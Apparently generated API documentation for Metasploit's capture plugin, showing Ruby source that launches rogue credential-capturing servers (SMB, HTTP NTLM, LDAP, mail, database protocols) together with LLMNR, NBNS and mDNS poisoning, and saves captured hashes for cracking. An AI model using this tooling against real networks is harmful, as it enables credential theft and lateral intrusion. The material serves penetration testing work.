Class: Msf::Plugin::Capture::ConsoleCommandDispatcher

Inherits:
Object
  • Object
show all
Includes:
Ui::Console::CommandDispatcher
Defined in:
plugins/capture.rb

Defined Under Namespace

Classes: CaptureJobListener

Constant Summary collapse

HELP_REGEX =
/^-?-h(?:elp)?$/.freeze

Instance Attribute Summary

Attributes included from Ui::Console::CommandDispatcher

#driver

Attributes included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Ui::Console::CommandDispatcher

#active_module, #active_module=, #active_session, #active_session=, #build_range_array, #docs_dir, #framework, #load_config, #log_error, #remove_lines

Methods included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Constructor Details

#initialize(*args) ⇒ ConsoleCommandDispatcher

Returns a new instance of ConsoleCommandDispatcher.



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'plugins/capture.rb', line 43

def initialize(*args)
  super(*args)
  @active_job_ids = {}
  @active_loggers = {}
  @stop_opt_parser = Rex::Parser::Arguments.new(
    '--session' => [ true, 'Session to stop (otherwise all capture jobs on all sessions will be stopped)' ],
    ['-h', '--help'] => [ false, 'Display this message' ]
  )

  @start_opt_parser = Rex::Parser::Arguments.new(
    '--session' => [ true, 'Session to bind on' ],
    ['-i', '--ip'] => [ true, 'IP to bind to' ],
    '--spoofip' => [ true, 'IP to use for spoofing (poisoning); default is the bound IP address' ],
    '--regex' => [ true, 'Regex to match for spoofing' ],
    ['-b', '--basic'] => [ false, 'Use Basic auth for HTTP listener (default is NTLM)' ],
    '--cert' => [ true, 'Path to SSL cert for encrypted communication' ],
    '--configfile' => [ true, 'Path to a config file' ],
    '--logfile' => [ true, 'Path to store logs' ],
    '--hashdir' => [ true, 'Directory to store hash results' ],
    '--stdout' => [ false, 'Show results in stdout' ],
    ['-v', '--verbose'] => [ false, 'Verbose output' ],
    ['-h', '--help'] => [ false, 'Display this message' ]
  )
end

Instance Method Details

#cmd_captureg(*args) ⇒ nil

The main handler for the request command.

Parameters:

  • args (Array<String>)

    The array of arguments provided by the user.

Returns:

  • (nil)


82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# File 'plugins/capture.rb', line 82

def cmd_captureg(*args)
  # short circuit the whole deal if they need help
  return help if args.empty?
  return help if args.length == 1 && args.first =~ HELP_REGEX
  return help(args.last) if args.length == 2 && args.first =~ HELP_REGEX

  begin
    if args.first == 'stop'
      listeners_stop(args)
      return
    end

    if args.first == 'start'
      listeners_start(args)
      return
    end
    return help
  rescue ArgumentError => e
    print_error(e.message)
  end
end

#cmd_captureg_tabs(str, words) ⇒ Object



142
143
144
145
146
147
148
149
150
# File 'plugins/capture.rb', line 142

def cmd_captureg_tabs(str, words)
  return ['start', 'stop'] if words.length == 1

  if words[1] == 'start'
    tab_complete_start(str, words)
  elsif words[1] == 'stop'
    tab_complete_stop(str, words)
  end
end

#commandsObject



72
73
74
75
76
# File 'plugins/capture.rb', line 72

def commands
  {
    'captureg' => 'Start credential capturing services'
  }
end

#configure_ftps(datastore, _config) ⇒ Object



615
616
617
# File 'plugins/capture.rb', line 615

def configure_ftps(datastore, _config)
  datastore['SRVPORT'] = 990
end

#configure_http_basic(datastore, _config) ⇒ Object



599
600
601
# File 'plugins/capture.rb', line 599

def configure_http_basic(datastore, _config)
  datastore['URIPATH'] = '/'
end

#configure_http_ntlm(datastore, config) ⇒ Object



592
593
594
595
596
597
# File 'plugins/capture.rb', line 592

def configure_http_ntlm(datastore, config)
  datastore['DOMAIN'] = config[:ntlm_domain]
  datastore['CHALLENGE'] = config[:ntlm_challenge]
  datastore['SRVPORT'] = 80
  datastore['URIPATH'] = '/'
end

#configure_https_basic(datastore, _config) ⇒ Object



603
604
605
606
# File 'plugins/capture.rb', line 603

def configure_https_basic(datastore, _config)
  datastore['SRVPORT'] = 443
  datastore['URIPATH'] = '/'
end

#configure_https_ntlm(datastore, config) ⇒ Object



608
609
610
611
612
613
# File 'plugins/capture.rb', line 608

def configure_https_ntlm(datastore, config)
  datastore['DOMAIN'] = config[:ntlm_domain]
  datastore['CHALLENGE'] = config[:ntlm_challenge]
  datastore['SRVPORT'] = 443
  datastore['URIPATH'] = '/'
end

#configure_imaps(datastore, _config) ⇒ Object



619
620
621
# File 'plugins/capture.rb', line 619

def configure_imaps(datastore, _config)
  datastore['SRVPORT'] = 993
end

#configure_ldap(datastore, config) ⇒ Object



582
583
584
585
# File 'plugins/capture.rb', line 582

def configure_ldap(datastore, config)
  datastore['DOMAIN'] = config[:ntlm_domain]
  datastore['CHALLENGE'] = config[:ntlm_challenge]
end

#configure_mssql(datastore, config) ⇒ Object



587
588
589
590
# File 'plugins/capture.rb', line 587

def configure_mssql(datastore, config)
  datastore['DOMAIN_NAME'] = config[:ntlm_domain]
  datastore['CHALLENGE'] = config[:ntlm_challenge]
end

#configure_pop3s(datastore, _config) ⇒ Object



623
624
625
# File 'plugins/capture.rb', line 623

def configure_pop3s(datastore, _config)
  datastore['SRVPORT'] = 995
end

#configure_smb(datastore, config) ⇒ Object



577
578
579
580
# File 'plugins/capture.rb', line 577

def configure_smb(datastore, config)
  datastore['SMBDOMAIN'] = config[:ntlm_domain]
  datastore['CHALLENGE'] = config[:ntlm_challenge]
end

#configure_smtps(datastore, _config) ⇒ Object



627
628
629
# File 'plugins/capture.rb', line 627

def configure_smtps(datastore, _config)
  datastore['SRVPORT'] = 587
end

#configure_tls(datastore, config) ⇒ Object



572
573
574
575
# File 'plugins/capture.rb', line 572

def configure_tls(datastore, config)
  datastore['SSL'] = true
  datastore['SSLCert'] = config[:ssl_cert]
end

#default_hashdir(options) ⇒ Object



427
428
429
430
431
432
433
# File 'plugins/capture.rb', line 427

def default_hashdir(options)
  session = 'local'
  session = options[:session].to_s unless options[:session].nil?

  name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}"
  File.join(Msf::Config.loot_directory, "captures/#{name}")
end

#default_logfile(options) ⇒ Object



419
420
421
422
423
424
425
# File 'plugins/capture.rb', line 419

def default_logfile(options)
  session = 'local'
  session = options[:session].to_s unless options[:session].nil?

  name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}.txt"
  File.join(Msf::Config.log_directory, "captures/#{name}")
end

#default_optionsObject



400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
# File 'plugins/capture.rb', line 400

def default_options
  {
    ntlm_challenge: nil,
    ntlm_domain: nil,
    services: {},
    spoof_ip: nil,
    spoof_regex: '.*',
    srvhost: nil,
    http_basic: false,
    session: nil,
    ssl_cert: nil,
    verbose: false,
    show_help: false,
    stdout: false,
    logfile: nil,
    hashdir: nil
  }
end

#help(first_arg = nil) ⇒ nil

Print the appropriate help text depending on an optional option parser.

Parameters:

  • first_arg (String) (defaults to: nil)

    the first argument to this command

Returns:

  • (nil)


386
387
388
389
390
391
392
393
394
395
396
397
398
# File 'plugins/capture.rb', line 386

def help(first_arg = nil)
  if first_arg == 'start'
    print_line('Usage: captureg start -i <ip> [options]')
    print_line(@start_opt_parser.usage)
  elsif first_arg == 'stop'
    print_line('Usage: captureg stop [options]')
    print_line(@stop_opt_parser.usage)
  else
    print_line('Usage: captureg [start|stop] [options]')
    print_line('')
    print_line('Use captureg --help [start|stop] for more detailed usage help')
  end
end

#listeners_start(args) ⇒ Object



152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
# File 'plugins/capture.rb', line 152

def listeners_start(args)
  config = parse_start_args(args)
  if config[:show_help]
    help('start')
    return
  end

  # Make sure there is no capture happening on that session already
  session = config[:session]
  if session.nil?
    session = 'local'
  end

  if @active_job_ids.key?(session)
    active_jobs = @active_job_ids[session]

    # If there are active job IDs on this session, we should fail: there's already a capture going on.
    # Make them stop it first.
    # The exception is if all jobs have been manually terminated, then let's treat it
    # as if the capture was stopped, and allow starting now.
    active_jobs.each do |job_id|
      next unless framework.jobs.key?(job_id.to_s)

      session_str = ''
      unless session.nil?
        session_str = ' on this session'
      end
      print_error("A capture is already in progress#{session_str}. Stop the existing capture then restart a new one")
      return
    end
  end

  if @active_loggers.key?(session)
    logger = @active_loggers[session]
    logger.close
  end

  # Start afresh
  @active_job_ids[session] = []
  @active_loggers.delete(session)

  transform_params(config)
  validate_params(config)

  modules = {
    # Capturing
    'DRDA' => 'auxiliary/server/capture/drda',
    'FTP' => 'auxiliary/server/capture/ftp',
    'IMAP' => 'auxiliary/server/capture/imap',
    'LDAP' => 'auxiliary/server/capture/ldap',
    'MSSQL' => 'auxiliary/server/capture/mssql',
    'MySQL' => 'auxiliary/server/capture/mysql',
    'POP3' => 'auxiliary/server/capture/pop3',
    'Postgres' => 'auxiliary/server/capture/postgresql',
    'PrintJob' => 'auxiliary/server/capture/printjob_capture',
    'SIP' => 'auxiliary/server/capture/sip',
    'SMB' => 'auxiliary/server/capture/smb',
    'SMTP' => 'auxiliary/server/capture/smtp',
    'Telnet' => 'auxiliary/server/capture/telnet',
    'VNC' => 'auxiliary/server/capture/vnc',

    # SSL versions
    'FTPS' => 'auxiliary/server/capture/ftp',
    'IMAPS' => 'auxiliary/server/capture/imap',
    'POP3S' => 'auxiliary/server/capture/pop3',
    'SMTPS' => 'auxiliary/server/capture/smtp',

    # Poisoning
    # 'DNS' => 'auxiliary/spoof/dns/native_spoofer',
    'NBNS' => 'auxiliary/spoof/nbns/nbns_response',
    'LLMNR' => 'auxiliary/spoof/llmnr/llmnr_response',
    'mDNS' => 'auxiliary/spoof/mdns/mdns_response'
    # 'WPAD' => 'auxiliary/server/wpad',
  }

  encrypted = ['HTTPS_NTLM', 'HTTPS_Basic', 'FTPS', 'IMAPS', 'POP3S', 'SMTPS']

  if config[:http_basic]
    modules['HTTP'] = 'auxiliary/server/capture/http_basic'
    modules['HTTPS'] = 'auxiliary/server/capture/http_basic'
  else
    modules['HTTP'] = 'auxiliary/server/capture/http_ntlm'
    modules['HTTPS'] = 'auxiliary/server/capture/http_ntlm'
  end

  modules_to_run = []
  logfile = config[:logfile]
  print_line("Logging results to #{logfile}")
  logdir = ::File.dirname(logfile)
  FileUtils.mkdir_p(logdir)
  hashdir = config[:hashdir]
  print_line("Hash results stored in #{hashdir}")
  FileUtils.mkdir_p(hashdir)

  if config[:stdout]
    logger = Rex::Ui::Text::Output::Tee.new(logfile)
  else
    logger = Rex::Ui::Text::Output::File.new(logfile, 'ab')
  end

  @active_loggers[session] = logger

  config[:services].each do |service|
    svc = service['type']
    unless service['enabled']
      # This service turned off in config
      next
    end

    module_name = modules[svc]
    if module_name.nil?
      print_error("Unknown service: #{svc}")
      return
    end

    # Special case for two variants of HTTP
    if svc.start_with?('HTTP')
      if config[:http_basic]
        svc += '_Basic'
      else
        svc += '_NTLM'
      end
    end

    mod = framework.modules.create(module_name)
    # Bail if we couldn't
    unless mod
      # Error: this should exist
      load_error = framework.modules.load_error_by_name(module_name)
      if load_error
        print_error("Failed to load #{module_name}: #{load_error}")
      else
        print_error("Failed to load #{module_name}")
      end
      return
    end

    datastore = {}
    # Capturers
    datastore['SRVHOST'] = config[:srvhost]
    datastore['CAINPWFILE'] = File.join(config[:hashdir], "cain_#{svc}")
    datastore['JOHNPWFILE'] = File.join(config[:hashdir], "john_#{svc}")

    # Poisoners
    datastore['SPOOFIP'] = config[:spoof_ip]
    datastore['SPOOFIP4'] = config[:spoof_ip]
    datastore['REGEX'] = config[:spoof_regex]
    datastore['ListenerComm'] = config[:session]

    opts = {}
    opts['Options'] = datastore
    opts['RunAsJob'] = true
    opts['LocalOutput'] = logger
    if config[:verbose]
      datastore['VERBOSE'] = true
    end

    method = "configure_#{svc.downcase}"
    if respond_to?(method)
      send(method, datastore, config)
    end

    if encrypted.include?(svc)
      configure_tls(datastore, config)
    end

    # Before running everything, let's do some basic validation of settings
    mod_dup = mod.replicant
    mod_dup._import_extra_options(opts)
    mod_dup.options.validate(mod_dup.datastore)

    modules_to_run.append([svc, mod, opts])
  end

  modules_to_run.each do |svc, mod, opts|
    event = Rex::Sync::Event.new(false, false)
    job_listener = CaptureJobListener.new(mod.name, event, self)

    result = Msf::Simple::Auxiliary.run_simple(mod, opts, job_listener: job_listener)
    job_id = result[1]

    # Wait for the event to trigger (socket server either waiting, or failed)
    event.wait
    next unless job_listener.succeeded

    # Keep track of it so we can close it upon a `stop` command
    @active_job_ids[session].append(job_id)
    job = framework.jobs[job_id.to_s]
    # Rename the job for display (to differentiate between the encrypted/plaintext ones in particular)
    if config[:session].nil?
      session_str = 'local'
    else
      session_str = "session #{config[:session].to_i}"
    end
    job.send(:name=, "Capture (#{session_str}): #{svc}")
  end

  print_good('Started capture jobs')
end

#listeners_stop(args) ⇒ Object



352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
# File 'plugins/capture.rb', line 352

def listeners_stop(args)
  options = parse_stop_args(args)
  if options[:show_help]
    help('stop')
    return
  end

  session = options[:session]
  job_id_clone = @active_job_ids.clone
  job_id_clone.each do |session_id, jobs|
    next unless session.nil? || session == session_id

    jobs.each do |job_id|
      framework.jobs.stop_job(job_id) unless framework.jobs[job_id.to_s].nil?
    end
    jobs.clear
    @active_job_ids.delete(session_id)
  end

  loggers_clone = @active_loggers.clone
  loggers_clone.each do |session_id, logger|
    if session.nil? || session == session_id
      logger.close
      @active_loggers.delete(session_id)
    end
  end

  print_line('Capture listeners stopped')
end

#nameObject



68
69
70
# File 'plugins/capture.rb', line 68

def name
  'HashCapture'
end

#parse_start_args(args) ⇒ Object



470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
# File 'plugins/capture.rb', line 470

def parse_start_args(args)
  config_file = File.join(Msf::Config.config_directory, 'capture_config.yaml')
  # See if there was a config file set
  @start_opt_parser.parse(args) do |opt, _idx, val|
    case opt
    when '--configfile'
      config_file = val
    end
  end

  options = default_options
  config_options = read_config(config_file)
  options = options.merge(config_options)

  @start_opt_parser.parse(args) do |opt, _idx, val|
    case opt
    when '--session'
      options[:session] = val
    when '-i', '--ip'
      options[:srvhost] = val
    when '--spoofip'
      options[:spoof_ip] = val
    when '--regex'
      options[:spoof_regex] = val
    when '-v', '--verbose'
      options[:verbose] = true
    when '--basic', '-b'
      options[:http_basic] = true
    when '--cert'
      options[:ssl_cert] = val
    when '--stdout'
      options[:stdout] = true
    when '--logfile'
      options[:logfile] = val
    when '--hashdir'
      options[:hashdir] = val
    when '-h', '--help'
      options[:show_help] = true
    end
  end

  options
end

#parse_stop_args(args) ⇒ Object



452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
# File 'plugins/capture.rb', line 452

def parse_stop_args(args)
  options = {
    session: nil,
    show_help: false
  }

  @start_opt_parser.parse(args) do |opt, _idx, val|
    case opt
    when '--session'
      options[:session] = val
    when '-h'
      options[:show_help] = true
    end
  end

  options
end

#poison_included(options) ⇒ Object



514
515
516
517
518
519
520
521
522
# File 'plugins/capture.rb', line 514

def poison_included(options)
  poisoners = ['mDNS', 'LLMNR', 'NBNS']
  options[:services].each do |svc|
    if svc['enabled'] && poisoners.member?(svc['type'])
      return true
    end
  end
  false
end

#read_config(filename) ⇒ Object



435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
# File 'plugins/capture.rb', line 435

def read_config(filename)
  options = {}
  File.open(filename, 'rb') do |f|
    yamlconf = YAML.safe_load(f)
    options = {
      ntlm_challenge: yamlconf['ntlm_challenge'],
      ntlm_domain: yamlconf['ntlm_domain'],
      services: yamlconf['services'],
      spoof_regex: yamlconf['spoof_regex'],
      http_basic: yamlconf['http_basic'],
      ssl_cert: yamlconf['ssl_cert'],
      logfile: yamlconf['logfile'],
      hashdir: yamlconf['hashdir']
    }
  end
end

#tab_complete_start(str, words) ⇒ Object



104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'plugins/capture.rb', line 104

def tab_complete_start(str, words)
  last_word = words[-1]
  case last_word
  when '--session'
    return framework.sessions.keys.map(&:to_s)
  when '--cert', '--configfile', '--logfile'
    return tab_complete_filenames(str, words)
  when '--hashdir'
    return tab_complete_directory(str, words)
  when '-i', '--ip', '--spoofip'
    return tab_complete_source_address

  end

  if @start_opt_parser.arg_required?(last_word)
    # The previous word needs an argument; we can't provide any help
    return []
  end

  # Otherwise, we are expecting another flag next
  result = @start_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
  return result
end

#tab_complete_stop(str, words) ⇒ Object



128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'plugins/capture.rb', line 128

def tab_complete_stop(str, words)
  last_word = words[-1]
  case last_word
  when '--session'
    return framework.sessions.keys.map(&:to_s) + ['local']
  end
  if @stop_opt_parser.arg_required?(words[-1])
    # The previous word needs an argument; we can't provide any help
    return []
  end

  @stop_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
end

#transform_params(options) ⇒ Object

Fill in implied parameters to make the running code neater



525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
# File 'plugins/capture.rb', line 525

def transform_params(options)
  # If we've been given a specific IP to listen on, use that as our poisoning IP
  if options[:spoof_ip].nil? && Rex::Socket.is_ip_addr?(options[:srvhost]) && Rex::Socket.addr_atoi(options[:srvhost]) != 0
    options[:spoof_ip] = options[:srvhost]
  end

  unless options[:session].nil?
    options[:session] = framework.sessions.get(options[:session])&.sid
    # UDP is not supported on remote sessions
    udp = ['NBNS', 'LLMNR', 'mDNS', 'SIP']
    options[:services].each do |svc|
      if svc['enabled'] && udp.member?(svc['type'])
        print_line("Skipping #{svc['type']}: UDP server not supported over a remote session")
        svc['enabled'] = false
      end
    end
  end

  if options[:logfile].nil?
    options[:logfile] = default_logfile(options)
  end

  if options[:hashdir].nil?
    options[:hashdir] = default_hashdir(options)
  end
end

#validate_params(options) ⇒ Object



552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
# File 'plugins/capture.rb', line 552

def validate_params(options)
  unless options[:srvhost] && Rex::Socket.is_ip_addr?(options[:srvhost])
    raise ArgumentError, 'Must provide a valid IP address to listen on'
  end
  # If we're running poisoning (which is disabled remotely, so excluding that situation),
  # we need either a specific srvhost to use, or a specific spoof IP
  if options[:spoof_ip].nil? && poison_included(options)
    raise ArgumentError, 'Must provide a specific IP address to use for poisoning'
  end
  unless Rex::Socket.is_ip_addr?(options[:spoof_ip])
    raise ArgumentError, 'Spoof IP must be a valid IP address'
  end
  unless options[:ssl_cert].nil? || File.file?(options[:ssl_cert])
    raise ArgumentError, "File #{options[:ssl_cert]} not found"
  end
  unless options[:session].nil? || framework.sessions.get(options[:session])
    raise ArgumentError, "Session #{options[:session].to_i} not found"
  end
end